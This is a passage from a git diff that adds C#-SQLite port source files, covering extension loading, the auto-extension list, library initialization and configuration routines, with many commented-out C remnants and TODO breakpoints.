//# define sqlite3_result_text16be 0 + //# define sqlite3_result_text16le 0 + //# define sqlite3_value_text16 0 + //# define sqlite3_value_text16be 0 + //# define sqlite3_value_text16le 0 + //# define sqlite3_column_database_name16 0 + //# define sqlite3_column_table_name16 0 + //# define sqlite3_column_origin_name16 0 +#endif + +#if SQLITE_OMIT_COMPLETE +//# define sqlite3_complete 0 +//# define sqlite3_complete16 0 +#endif + +#if SQLITE_OMIT_PROGRESS_CALLBACK +//# define sqlite3_progress_handler 0 +static void sqlite3_progress_handler (sqlite3 db, int nOps, dxProgress xProgress, object pArg){} +#endif + +#if SQLITE_OMIT_VIRTUALTABLE + //# define sqlite3_create_module 0 + //# define sqlite3_create_module_v2 0 + //# define sqlite3_declare_vtab 0 +#endif + +#if SQLITE_OMIT_SHARED_CACHE + //# define sqlite3_enable_shared_cache 0 +#endif + +#if SQLITE_OMIT_TRACE +//# define sqlite3_profile 0 +//# define sqlite3_trace 0 +#endif + +#if SQLITE_OMIT_GET_TABLE + //# define //sqlite3_free_table 0 + //# define sqlite3_get_table 0 + public static int sqlite3_get_table( + sqlite3 db, /* An open database */ + string zSql, /* SQL to be evaluated */ + ref string[] pazResult, /* Results of the query */ + ref int pnRow, /* Number of result rows written here */ + ref int pnColumn, /* Number of result columns written here */ + ref string pzErrmsg /* Error msg written here */ + ) { return 0; } +#endif + +#if SQLITE_OMIT_INCRBLOB + //#define sqlite3_bind_zeroblob 0 + //#define sqlite3_blob_bytes 0 + //#define sqlite3_blob_close 0 + //#define sqlite3_blob_open 0 + //#define sqlite3_blob_read 0 + //#define sqlite3_blob_write 0 +#endif + + /* +** The following structure contains pointers to all SQLite API routines. +** A pointer to this structure is passed into extensions when they are +** loaded so that the extension can make calls back into the SQLite +** library. +** +** When adding new APIs, add them to the bottom of this structure +** in order to preserve backwards compatibility. +** +** Extensions that use newer APIs should first call the +** sqlite3_libversion_number() to make sure that the API they +** intend to use is supported by the library. Extensions should +** also check to make sure that the pointer to the function is +** not NULL before calling it. +*/ + static sqlite3_api_routines sqlite3Apis = new sqlite3_api_routines(); + //{ + // sqlite3_aggregate_context, +#if !SQLITE_OMIT_DEPRECATED + / sqlite3_aggregate_count, +#else +// 0, +#endif + // sqlite3_bind_blob, + // sqlite3_bind_double, + // sqlite3_bind_int, + // sqlite3_bind_int64, + // sqlite3_bind_null, + // sqlite3_bind_parameter_count, + // sqlite3_bind_parameter_index, + // sqlite3_bind_parameter_name, + // sqlite3_bind_text, + // sqlite3_bind_text16, + // sqlite3_bind_value, + // sqlite3_busy_handler, + // sqlite3_busy_timeout, + // sqlite3_changes, + // sqlite3_close, + // sqlite3_collation_needed, + // sqlite3_collation_needed16, + // sqlite3_column_blob, + // sqlite3_column_bytes, + // sqlite3_column_bytes16, + // sqlite3_column_count, + // sqlite3_column_database_name, + // sqlite3_column_database_name16, + // sqlite3_column_decltype, + // sqlite3_column_decltype16, + // sqlite3_column_double, + // sqlite3_column_int, + // sqlite3_column_int64, + // sqlite3_column_name, + // sqlite3_column_name16, + // sqlite3_column_origin_name, + // sqlite3_column_origin_name16, + // sqlite3_column_table_name, + // sqlite3_column_table_name16, + // sqlite3_column_text, + // sqlite3_column_text16, + // sqlite3_column_type, + // sqlite3_column_value, + // sqlite3_commit_hook, + // sqlite3_complete, + // sqlite3_complete16, + // sqlite3_create_collation, + // sqlite3_create_collation16, + // sqlite3_create_function, + // sqlite3_create_function16, + // sqlite3_create_module, + // sqlite3_data_count, + // sqlite3_db_handle, + // sqlite3_declare_vtab, + // sqlite3_enable_shared_cache, + // sqlite3_errcode, + // sqlite3_errmsg, + // sqlite3_errmsg16, + // sqlite3_exec, +#if !SQLITE_OMIT_DEPRECATED + //sqlite3_expired, +#else +//0, +#endif + // sqlite3_finalize, + // //sqlite3_free, + // //sqlite3_free_table, + // sqlite3_get_autocommit, + // sqlite3_get_auxdata, + // sqlite3_get_table, + // 0, /* Was sqlite3_global_recover(), but that function is deprecated */ + // sqlite3_interrupt, + // sqlite3_last_insert_rowid, + // sqlite3_libversion, + // sqlite3_libversion_number, + // sqlite3_malloc, + // sqlite3_mprintf, + // sqlite3_open, + // sqlite3_open16, + // sqlite3_prepare, + // sqlite3_prepare16, + // sqlite3_profile, + // sqlite3_progress_handler, + // sqlite3_realloc, + // sqlite3_reset, + // sqlite3_result_blob, + // sqlite3_result_double, + // sqlite3_result_error, + // sqlite3_result_error16, + // sqlite3_result_int, + // sqlite3_result_int64, + // sqlite3_result_null, + // sqlite3_result_text, + // sqlite3_result_text16, + // sqlite3_result_text16be, + // sqlite3_result_text16le, + // sqlite3_result_value, + // sqlite3_rollback_hook, + // sqlite3_set_authorizer, + // sqlite3_set_auxdata, + // sqlite3_snprintf, + // sqlite3_step, + // sqlite3_table_column_metadata, +#if !SQLITE_OMIT_DEPRECATED + //sqlite3_thread_cleanup, +#else +// 0, +#endif + // sqlite3_total_changes, + // sqlite3_trace, +#if !SQLITE_OMIT_DEPRECATED + //sqlite3_transfer_bindings, +#else +// 0, +#endif + // sqlite3_update_hook, + // sqlite3_user_data, + // sqlite3_value_blob, + // sqlite3_value_bytes, + // sqlite3_value_bytes16, + // sqlite3_value_double, + // sqlite3_value_int, + // sqlite3_value_int64, + // sqlite3_value_numeric_type, + // sqlite3_value_text, + // sqlite3_value_text16, + // sqlite3_value_text16be, + // sqlite3_value_text16le, + // sqlite3_value_type, + // sqlite3_vmprintf, + // /* + // ** The original API set ends here. All extensions can call any + // ** of the APIs above provided that the pointer is not NULL. But + // ** before calling APIs that follow, extension should check the + // ** sqlite3_libversion_number() to make sure they are dealing with + // ** a library that is new enough to support that API. + // ************************************************************************* + // */ + // sqlite3_overload_function, + + // /* + // ** Added after 3.3.13 + // */ + // sqlite3_prepare_v2, + // sqlite3_prepare16_v2, + // sqlite3_clear_bindings, + + // /* + // ** Added for 3.4.1 + // */ + // sqlite3_create_module_v2, + + // /* + // ** Added for 3.5.0 + // */ + // sqlite3_bind_zeroblob, + // sqlite3_blob_bytes, + // sqlite3_blob_close, + // sqlite3_blob_open, + // sqlite3_blob_read, + // sqlite3_blob_write, + // sqlite3_create_collation_v2, + // sqlite3_file_control, + // sqlite3_memory_highwater, + // sqlite3_memory_used, +#if SQLITE_MUTEX_OMIT + // 0, + // 0, + // 0, + // 0, + // 0, +#else +// sqlite3MutexAlloc, +// sqlite3_mutex_enter, +// sqlite3_mutex_free, +// sqlite3_mutex_leave, +// sqlite3_mutex_try, +#endif + // sqlite3_open_v2, + // sqlite3_release_memory, + // sqlite3_result_error_nomem, + // sqlite3_result_error_toobig, + // sqlite3_sleep, + // sqlite3_soft_heap_limit, + // sqlite3_vfs_find, + // sqlite3_vfs_register, + // sqlite3_vfs_unregister, + + // /* + // ** Added for 3.5.8 + // */ + // sqlite3_threadsafe, + // sqlite3_result_zeroblob, + // sqlite3_result_error_code, + // sqlite3_test_control, + // sqlite3_randomness, + // sqlite3_context_db_handle, + + // /* + // ** Added for 3.6.0 + // */ + // sqlite3_extended_result_codes, + // sqlite3_limit, + // sqlite3_next_stmt, + // sqlite3_sql, + // sqlite3_status, + //}; + + /* + ** Attempt to load an SQLite extension library contained in the file + ** zFile. The entry point is zProc. zProc may be 0 in which case a + ** default entry point name (sqlite3_extension_init) is used. Use + ** of the default name is recommended. + ** + ** Return SQLITE_OK on success and SQLITE_ERROR if something goes wrong. + ** + ** If an error occurs and pzErrMsg is not 0, then fill pzErrMsg with + ** error message text. The calling function should free this memory + ** by calling //sqlite3DbFree(db, ). + */ + static int sqlite3LoadExtension( + sqlite3 db, /* Load the extension into this database connection */ + string zFile, /* Name of the shared library containing extension */ + string zProc, /* Entry point. Use "sqlite3_extension_init" if 0 */ + ref string pzErrMsg /* Put error message here if not 0 */ + ) + { + sqlite3_vfs pVfs = db.pVfs; + HANDLE handle; + dxInit xInit; //int (*xInit)(sqlite3*,char**,const sqlite3_api_routines*); + string zErrmsg = ""; + //object aHandle; + const int nMsg = 300; + if ( pzErrMsg != null ) pzErrMsg = null; + + + /* Ticket #1863. To avoid a creating security problems for older + ** applications that relink against newer versions of SQLite, the + ** ability to run load_extension is turned off by default. One + ** must call sqlite3_enable_load_extension() to turn on extension + ** loading. Otherwise you get the following error. + */ + if ( ( db.flags & SQLITE_LoadExtension ) == 0 ) + { + //if( pzErrMsg != null){ + pzErrMsg = sqlite3_mprintf( "not authorized" ); + //} + return SQLITE_ERROR; + } + + if ( zProc == null || zProc == "" ) + { + zProc = "sqlite3_extension_init"; + } + + handle = sqlite3OsDlOpen( pVfs, zFile ); + if ( handle == IntPtr.Zero ) + { + // if( pzErrMsg ){ + zErrmsg = "";//zErrmsg = sqlite3StackAllocZero(db, nMsg); + //if( zErrmsg !=null){ + sqlite3_snprintf( nMsg, ref zErrmsg, + "unable to open shared library [%s]", zFile ); + sqlite3OsDlError( pVfs, nMsg - 1, ref zErrmsg ); + pzErrMsg = zErrmsg;// sqlite3DbStrDup( 0, zErrmsg ); + //sqlite3StackFree( db, zErrmsg ); + //} + return SQLITE_ERROR; + } + //xInit = (int(*)(sqlite3*,char**,const sqlite3_api_routines*)) + // sqlite3OsDlSym(pVfs, handle, zProc); + xInit = (dxInit)sqlite3OsDlSym( pVfs, handle, ref zProc ); + Debugger.Break(); // TODO -- + //if( xInit==0 ){ + // if( pzErrMsg ){ + // zErrmsg = sqlite3StackAllocZero(db, nMsg); + // if( zErrmsg ){ + // sqlite3_snprintf(nMsg, zErrmsg, + // "no entry point [%s] in shared library [%s]", zProc,zFile); + // sqlite3OsDlError(pVfs, nMsg-1, zErrmsg); + // *pzErrMsg = sqlite3DbStrDup(0, zErrmsg); + // //sqlite3StackFree(db, zErrmsg); + // } + // sqlite3OsDlClose(pVfs, handle); + // } + // return SQLITE_ERROR; + // }else if( xInit(db, ref zErrmsg, sqlite3Apis) ){ + //// if( pzErrMsg !=null){ + // pzErrMsg = sqlite3_mprintf("error during initialization: %s", zErrmsg); + // //} + // //sqlite3DbFree(db,ref zErrmsg); + // sqlite3OsDlClose(pVfs, ref handle); + // return SQLITE_ERROR; + // } + + // /* Append the new shared library handle to the db.aExtension array. */ + // aHandle = sqlite3DbMallocZero(db, sizeof(handle)*db.nExtension+1); + // if( aHandle==null ){ + // return SQLITE_NOMEM; + // } + // if( db.nExtension>0 ){ + // memcpy(aHandle, db.aExtension, sizeof(handle)*(db.nExtension)); + // } + // //sqlite3DbFree(db,ref db.aExtension); + // db.aExtension = aHandle; + + // db.aExtension[db.nExtension++] = handle; + return SQLITE_OK; + } + + public static int sqlite3_load_extension( + sqlite3 db, /* Load the extension into this database connection */ + string zFile, /* Name of the shared library containing extension */ + string zProc, /* Entry point. Use "sqlite3_extension_init" if 0 */ + ref string pzErrMsg /* Put error message here if not 0 */ + ) + { + int rc; + sqlite3_mutex_enter( db.mutex ); + rc = sqlite3LoadExtension( db, zFile, zProc, ref pzErrMsg ); + rc = sqlite3ApiExit( db, rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + + /* + ** Call this routine when the database connection is closing in order + ** to clean up loaded extensions + */ + static void sqlite3CloseExtensions( sqlite3 db ) + { + int i; + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + for ( i = 0 ; i < db.nExtension ; i++ ) + { + sqlite3OsDlClose( db.pVfs, (HANDLE)db.aExtension[i] ); + } + //sqlite3DbFree( db, ref db.aExtension ); + } + + /* + ** Enable or disable extension loading. Extension loading is disabled by + ** default so as not to open security holes in older applications. + */ + public static int sqlite3_enable_load_extension( sqlite3 db, int onoff ) + { + sqlite3_mutex_enter( db.mutex ); + if ( onoff != 0 ) + { + db.flags |= SQLITE_LoadExtension; + } + else + { + db.flags &= ~SQLITE_LoadExtension; + } + sqlite3_mutex_leave( db.mutex ); + return SQLITE_OK; + } + +#endif //* SQLITE_OMIT_LOAD_EXTENSION */ + + /* +** The auto-extension code added regardless of whether or not extension +** loading is supported. We need a dummy sqlite3Apis pointer for that +** code if regular extension loading is not available. This is that +** dummy pointer. +*/ +#if SQLITE_OMIT_LOAD_EXTENSION +const sqlite3_api_routines sqlite3Apis = null; +#endif + + + /* +** The following object holds the list of automatically loaded +** extensions. +** +** This list is shared across threads. The SQLITE_MUTEX_STATIC_MASTER +** mutex must be held while accessing this list. +*/ + //typedef struct sqlite3AutoExtList sqlite3AutoExtList; + public class sqlite3AutoExtList + { + public int nExt = 0; /* Number of entries in aExt[] */ + public dxInit[] aExt = null; /* Pointers to the extension init functions */ + public sqlite3AutoExtList( int nExt, dxInit[] aExt ) { this.nExt = nExt; this.aExt = aExt; } + } + static sqlite3AutoExtList sqlite3Autoext = new sqlite3AutoExtList( 0, null ); + /* The "wsdAutoext" macro will resolve to the autoextension + ** state vector. If writable static data is unsupported on the target, + ** we have to locate the state vector at run-time. In the more common + ** case where writable static data is supported, wsdStat can refer directly + ** to the "sqlite3Autoext" state vector declared above. + */ +#if SQLITE_OMIT_WSD +//# define wsdAutoextInit \ +sqlite3AutoExtList *x = &GLOBAL(sqlite3AutoExtList,sqlite3Autoext) +//# define wsdAutoext x[0] +#else + //# define wsdAutoextInit + static void wsdAutoextInit() { } + //# define wsdAutoext sqlite3Autoext + static sqlite3AutoExtList wsdAutoext = sqlite3Autoext; +#endif + + /* +** Register a statically linked extension that is automatically +** loaded by every new database connection. +*/ + static int sqlite3_auto_extension( dxInit xInit ) + { + int rc = SQLITE_OK; +#if !SQLITE_OMIT_AUTOINIT + rc = sqlite3_initialize(); + if ( rc != 0 ) + { + return rc; + } + else +#endif + { + int i; +#if SQLITE_THREADSAFE +sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#else + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); // Need this since mutex_enter & leave are not MACROS under C# +#endif + wsdAutoextInit(); + sqlite3_mutex_enter( mutex ); + for ( i = 0 ; i < wsdAutoext.nExt ; i++ ) + { + if ( wsdAutoext.aExt[i] == xInit ) break; + } + //if( i==wsdAutoext.nExt ){ + // int nByte = (wsdAutoext.nExt+1)*sizeof(wsdAutoext.aExt[0]); + // void **aNew; + // aNew = sqlite3_realloc(wsdAutoext.aExt, nByte); + // if( aNew==0 ){ + // rc = SQLITE_NOMEM; + // }else{ + Array.Resize( ref wsdAutoext.aExt, wsdAutoext.nExt + 1 );// wsdAutoext.aExt = aNew; + wsdAutoext.aExt[wsdAutoext.nExt] = xInit; + wsdAutoext.nExt++; + //} + sqlite3_mutex_leave( mutex ); + Debug.Assert( ( rc & 0xff ) == rc ); + return rc; + } + } + + /* + ** Reset the automatic extension loading mechanism. + */ + static void sqlite3_reset_auto_extension() + { +#if !SQLITE_OMIT_AUTOINIT + if ( sqlite3_initialize() == SQLITE_OK ) +#endif + { +#if SQLITE_THREADSAFE +sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#else + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); // Need this since mutex_enter & leave are not MACROS under C# +#endif + wsdAutoextInit(); + sqlite3_mutex_enter( mutex ); +#if SQLITE_OMIT_WSD +//sqlite3_free( ref wsdAutoext.aExt ); +wsdAutoext.aExt = null; +wsdAutoext.nExt = 0; +#else + //sqlite3_free( ref sqlite3Autoext.aExt ); + sqlite3Autoext.aExt = null; + sqlite3Autoext.nExt = 0; +#endif + sqlite3_mutex_leave( mutex ); + } + } + + /* + ** Load all automatic extensions. + ** + ** If anything goes wrong, set an error in the database connection. + */ + static void sqlite3AutoLoadExtensions( sqlite3 db ) + { + int i; + bool go = true; + dxInit xInit;//)(sqlite3*,char**,const sqlite3_api_routines*); + + wsdAutoextInit(); +#if SQLITE_OMIT_WSD +if ( wsdAutoext.nExt == 0 ) +#else + if ( sqlite3Autoext.nExt == 0 ) +#endif + { + /* Common case: early out without every having to acquire a mutex */ + return; + } + for ( i = 0 ; go ; i++ ) + { + string zErrmsg = ""; +#if SQLITE_THREADSAFE +sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); +#else + sqlite3_mutex mutex = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); // Need this since mutex_enter & leave are not MACROS under C# +#endif + sqlite3_mutex_enter( mutex ); + if ( i >= wsdAutoext.nExt ) + { + xInit = null; + go = false; + } + else + { + xInit = (dxInit) + wsdAutoext.aExt[i]; + } + sqlite3_mutex_leave( mutex ); + zErrmsg = ""; + if ( xInit != null && xInit( db, ref zErrmsg, (sqlite3_api_routines)sqlite3Apis ) != 0 ) + { + sqlite3Error( db, SQLITE_ERROR, + "automatic extension loading failed: %s", zErrmsg ); + go = false; + } + //sqlite3DbFree( db, ref zErrmsg ); + } + } + } +} + diff --git a/SQLite/src/main_c.cs b/SQLite/src/main_c.cs new file mode 100644 index 0000000..5ae76de --- /dev/null +++ b/SQLite/src/main_c.cs @@ -0,0 +1,2618 @@ +using System; +using System.Diagnostics; +using System.Text; + +using sqlite_int64 = System.Int64; +using unsigned = System.Int32; + +using i16 = System.Int16; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; + +using Pgno = System.UInt32; + +namespace CS_SQLite3 +{ + using sqlite3_value = CSSQLite.Mem; + + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** Main file for the SQLite library. The routines in this file + ** implement the programmer interface to the library. Routines in + ** other files are for internal use by SQLite and should not be + ** accessed by users of the library. + ** + ** $Id: main.c,v 1.562 2009/07/20 11:32:03 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" +#if SQLITE_ENABLE_FTS3 +//# include "fts3.h" +#endif +#if SQLITE_ENABLE_RTREE +//# include "rtree.h" +#endif +#if SQLITE_ENABLE_ICU +//# include "sqliteicu.h" +#endif + + /* +** The version of the library +*/ +#if !SQLITE_AMALGAMATION + public static string sqlite3_version = SQLITE_VERSION; +#endif + public static string sqlite3_libversion() { return sqlite3_version; } + public static int sqlite3_libversion_number() { return SQLITE_VERSION_NUMBER; } + public static int sqlite3_threadsafe() { return SQLITE_THREADSAFE; } + +#if !SQLITE_OMIT_TRACE && SQLITE_ENABLE_IOTRACE +/* +** If the following function pointer is not NULL and if +** SQLITE_ENABLE_IOTRACE is enabled, then messages describing +** I/O active are written using this function. These messages +** are intended for debugging activity only. +*/ +//void (*sqlite3IoTrace)(const char*, ...) = 0; +static void sqlite3IoTrace( string X, params object[] ap ) { } +#endif + + /* +** If the following global variable points to a string which is the +** name of a directory, then that directory will be used to store +** temporary files. +** +** See also the "PRAGMA temp_store_directory" SQL command. +*/ + static string sqlite3_temp_directory = "";//char *sqlite3_temp_directory = 0; + + /* + ** Initialize SQLite. + ** + ** This routine must be called to initialize the memory allocation, + ** VFS, and mutex subsystems prior to doing any serious work with + ** SQLite. But as long as you do not compile with SQLITE_OMIT_AUTOINIT + ** this routine will be called automatically by key routines such as + ** sqlite3_open(). + ** + ** This routine is a no-op except on its very first call for the process, + ** or for the first call after a call to sqlite3_shutdown. + ** + ** The first thread to call this routine runs the initialization to + ** completion. If subsequent threads call this routine before the first + ** thread has finished the initialization process, then the subsequent + ** threads must block until the first thread finishes with the initialization. + ** + ** The first thread might call this routine recursively. Recursive + ** calls to this routine should not block, of course. Otherwise the + ** initialization process would never complete. + ** + ** Let X be the first thread to enter this routine. Let Y be some other + ** thread. Then while the initial invocation of this routine by X is + ** incomplete, it is required that: + ** + ** * Calls to this routine from Y must block until the outer-most + ** call by X completes. + ** + ** * Recursive calls to this routine from thread X return immediately + ** without blocking. + */ + static int sqlite3_initialize() + { + //-------------------------------------------------------------------- + // Under C#, Need to initialize some global structures + // + if ( opcodeProperty == null ) opcodeProperty = OPFLG_INITIALIZER; + if ( sqlite3GlobalConfig == null ) sqlite3GlobalConfig = sqlite3Config; + if ( UpperToLower == null ) UpperToLower = sqlite3UpperToLower; + //-------------------------------------------------------------------- + + + sqlite3_mutex pMaster; /* The main static mutex */ + int rc; /* Result code */ + +#if SQLITE_OMIT_WSD +rc = sqlite3_wsd_init(4096, 24); +if( rc!=SQLITE_OK ){ +return rc; +} +#endif + /* If SQLite is already completely initialized, then this call +** to sqlite3_initialize() should be a no-op. But the initialization +** must be complete. So isInit must not be set until the very end +** of this routine. +*/ + if ( sqlite3GlobalConfig.isInit != 0 ) return SQLITE_OK; + + /* Make sure the mutex subsystem is initialized. If unable to + ** initialize the mutex subsystem, return early with the error. + ** If the system is so sick that we are unable to allocate a mutex, + ** there is not much SQLite is going to be able to do. + ** + ** The mutex subsystem must take care of serializing its own + ** initialization. + */ + rc = sqlite3MutexInit(); + if ( rc != 0 ) return rc; + + /* Initialize the malloc() system and the recursive pInitMutex mutex. + ** This operation is protected by the STATIC_MASTER mutex. Note that + ** MutexAlloc() is called for a static mutex prior to initializing the + ** malloc subsystem - this implies that the allocation of a static + ** mutex must not require support from the malloc subsystem. + */ + pMaster = sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ); + sqlite3_mutex_enter( pMaster ); + if ( sqlite3GlobalConfig.isMallocInit == 0 ) + { + //rc = sqlite3MallocInit(); + } + if ( rc == SQLITE_OK ) + { + sqlite3GlobalConfig.isMallocInit = 1; + if ( sqlite3GlobalConfig.pInitMutex == null ) + { + sqlite3GlobalConfig.pInitMutex = sqlite3MutexAlloc( SQLITE_MUTEX_RECURSIVE ); + if ( sqlite3GlobalConfig.bCoreMutex && sqlite3GlobalConfig.pInitMutex == null ) + { + rc = SQLITE_NOMEM; + } + } + } + if ( rc == SQLITE_OK ) + { + sqlite3GlobalConfig.nRefInitMutex++; + } + sqlite3_mutex_leave( pMaster ); + /* If unable to initialize the malloc subsystem, then return early. + ** There is little hope of getting SQLite to run if the malloc + ** subsystem cannot be initialized. + */ + if ( rc != SQLITE_OK ) + { + return rc; + } + + /* Do the rest of the initialization under the recursive mutex so + ** that we will be able to handle recursive calls into + ** sqlite3_initialize(). The recursive calls normally come through + ** sqlite3_os_init() when it invokes sqlite3_vfs_register(), but other + ** recursive calls might also be possible. + */ + sqlite3_mutex_enter( sqlite3GlobalConfig.pInitMutex ); + if ( sqlite3GlobalConfig.isInit == 0 && sqlite3GlobalConfig.inProgress == 0 ) + { + sqlite3GlobalConfig.inProgress = 1; +#if SQLITE_OMIT_WSD +FuncDefHash *pHash = &GLOBAL(FuncDefHash, sqlite3GlobalFunctions); +memset( pHash, 0, sizeof( sqlite3GlobalFunctions ) ); +#else + sqlite3GlobalFunctions = new FuncDefHash(); + FuncDefHash pHash = sqlite3GlobalFunctions; +#endif + sqlite3RegisterGlobalFunctions(); + rc = sqlite3PcacheInitialize(); + if ( rc == SQLITE_OK ) + { + rc = sqlite3_os_init(); + } + if ( rc == SQLITE_OK ) + { + sqlite3PCacheBufferSetup( sqlite3GlobalConfig.pPage, + sqlite3GlobalConfig.szPage, sqlite3GlobalConfig.nPage ); + sqlite3GlobalConfig.isInit = 1; + } + sqlite3GlobalConfig.inProgress = 0; + } + sqlite3_mutex_leave( sqlite3GlobalConfig.pInitMutex ); + /* Go back under the static mutex and clean up the recursive + ** mutex to prevent a resource leak. + */ + sqlite3_mutex_enter( pMaster ); + sqlite3GlobalConfig.nRefInitMutex--; + if ( sqlite3GlobalConfig.nRefInitMutex <= 0 ) + { + Debug.Assert( sqlite3GlobalConfig.nRefInitMutex == 0 ); + sqlite3_mutex_free( ref sqlite3GlobalConfig.pInitMutex ); + sqlite3GlobalConfig.pInitMutex = null; + } + sqlite3_mutex_leave( pMaster ); + + /* The following is just a sanity check to make sure SQLite has + ** been compiled correctly. It is important to run this code, but + ** we don't want to run it too often and soak up CPU cycles for no + ** reason. So we run it once during initialization. + */ +#if !NDEBUG +#if !SQLITE_OMIT_FLOATING_POINT + /* This section of code's only "output" is via Debug.Assert() statements. */ + if ( rc == SQLITE_OK ) + { + //u64 x = ( ( (u64)1 ) << 63 ) - 1; + //double y; + //Debug.Assert( sizeof( u64 ) == 8 ); + //Debug.Assert( sizeof( u64 ) == sizeof( double ) ); + //memcpy( &y, x, 8 ); + //Debug.Assert( sqlite3IsNaN( y ) ); + } +#endif +#endif + + return rc; + } + + /* + ** Undo the effects of sqlite3_initialize(). Must not be called while + ** there are outstanding database connections or memory allocations or + ** while any part of SQLite is otherwise in use in any thread. This + ** routine is not threadsafe. But it is safe to invoke this routine + ** on when SQLite is already shut down. If SQLite is already shut down + ** when this routine is invoked, then this routine is a harmless no-op. + */ + static int sqlite3_shutdown() + { + if ( sqlite3GlobalConfig.isInit != 0 ) + { + sqlite3GlobalConfig.isMallocInit = 0; + sqlite3PcacheShutdown(); + sqlite3_os_end(); + sqlite3_reset_auto_extension(); + //sqlite3MallocEnd(); + sqlite3MutexEnd(); + sqlite3GlobalConfig.isInit = 0; + } + return SQLITE_OK; + } + + /* + ** This API allows applications to modify the global configuration of + ** the SQLite library at run-time. + ** + ** This routine should only be called when there are no outstanding + ** database connections or memory allocations. This routine is not + ** threadsafe. Failure to heed these warnings can lead to unpredictable + ** behavior. + */ + // Overloads for ap assignments + static int sqlite3_config( int op, sqlite3_pcache_methods ap ) + { // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_PCACHE: + { + /* Specify an alternative malloc implementation */ + sqlite3GlobalConfig.pcache = ap; //sqlite3GlobalConfig.pcache = (sqlite3_pcache_methods)va_arg(ap, "sqlite3_pcache_methods"); + break; + } + } + return rc; + } + + static int sqlite3_config( int op, ref sqlite3_pcache_methods ap ) + { // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_GETPCACHE: + { + if ( sqlite3GlobalConfig.pcache.xInit == null ) + { + sqlite3PCacheSetDefault(); + } + ap = sqlite3GlobalConfig.pcache;//va_arg(ap, sqlite3_pcache_methods*) = sqlite3GlobalConfig.pcache; + break; + } + } + return rc; + } + + static int sqlite3_config( int op, sqlite3_mem_methods ap ) + { // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_MALLOC: + { + /* Specify an alternative malloc implementation */ + sqlite3GlobalConfig.m = ap;// (sqlite3_mem_methods)va_arg( ap, "sqlite3_mem_methods" ); + break; + } + } + return rc; + } + + static int sqlite3_config( int op, ref sqlite3_mem_methods ap ) + { // va_list ap; + int rc = SQLITE_OK; + switch ( op ) + { + case SQLITE_CONFIG_GETMALLOC: + { + /* Retrieve the current malloc() implementation */ + //if ( sqlite3GlobalConfig.m.xMalloc == null ) sqlite3MemSetDefault(); + ap = sqlite3GlobalConfig.m;//va_arg(ap, sqlite3_mem_methods*) = sqlite3GlobalConfig.m; + break; + } + } + return rc; + } + +#if SQLITE_THREADSAFE +static int sqlite3_config( int op, sqlite3_mutex_methods ap ) +{ +// va_list ap; +int rc = SQLITE_OK; +switch ( op ) +{ +case SQLITE_CONFIG_MUTEX: +{ +/* Specify an alternative mutex implementation */ +sqlite3GlobalConfig.mutex = ap;// (sqlite3_mutex_methods)va_arg( ap, "sqlite3_mutex_methods" ); +break; +} +} +return rc; +} + +static int sqlite3_config( int op, ref sqlite3_mutex_methods ap ) +{ +// va_list ap; +int rc = SQLITE_OK; +switch ( op ) +{ +case SQLITE_CONFIG_GETMUTEX: +{ +/* Retrieve the current mutex implementation */ +ap = sqlite3GlobalConfig.mutex;// *va_arg(ap, sqlite3_mutex_methods*) = sqlite3GlobalConfig.mutex; +break; +} +} +return rc; +} +#endif + + static int sqlite3_config( int op, params object[] ap ) + { + // va_list ap; + int rc = SQLITE_OK; + + /* sqlite3_config() shall return SQLITE_MISUSE if it is invoked while + ** the SQLite library is in use. */ + if ( sqlite3GlobalConfig.isInit != 0 ) return SQLITE_MISUSE; + + va_start( ap, null ); + switch ( op ) + { + + /* Mutex configuration options are only available in a threadsafe + ** compile. + */ +#if SQLITE_THREADSAFE +case SQLITE_CONFIG_SINGLETHREAD: +{ +/* Disable all mutexing */ +sqlite3GlobalConfig.bCoreMutex = false; +sqlite3GlobalConfig.bFullMutex = false; +break; +} +case SQLITE_CONFIG_MULTITHREAD: +{ +/* Disable mutexing of database connections */ +/* Enable mutexing of core data structures */ +sqlite3GlobalConfig.bCoreMutex = true; +sqlite3GlobalConfig.bFullMutex = false; +break; +} +case SQLITE_CONFIG_SERIALIZED: +{ +/* Enable all mutexing */ +sqlite3GlobalConfig.bCoreMutex = true; +sqlite3GlobalConfig.bFullMutex = true; +break; +} +case SQLITE_CONFIG_MUTEX: { +/* Specify an alternative mutex implementation */ +sqlite3GlobalConfig.mutex = *va_arg(ap, sqlite3_mutex_methods*); +break; +} +case SQLITE_CONFIG_GETMUTEX: { +/* Retrieve the current mutex implementation */ +*va_arg(ap, sqlite3_mutex_methods*) = sqlite3GlobalConfig.mutex; +break; +} +#endif + case SQLITE_CONFIG_MALLOC: + { + Debugger.Break(); // TODO -- + /* Specify an alternative malloc implementation */ + sqlite3GlobalConfig.m = (sqlite3_mem_methods)va_arg( ap, "sqlite3_mem_methods" ); + break; + } + case SQLITE_CONFIG_GETMALLOC: + { + /* Retrieve the current malloc() implementation */ + //if ( sqlite3GlobalConfig.m.xMalloc == null ) sqlite3MemSetDefault(); + //Debugger.Break(); // TODO --//va_arg(ap, sqlite3_mem_methods*) = sqlite3GlobalConfig.m; + break; + } + case SQLITE_CONFIG_MEMSTATUS: + { + /* Enable or disable 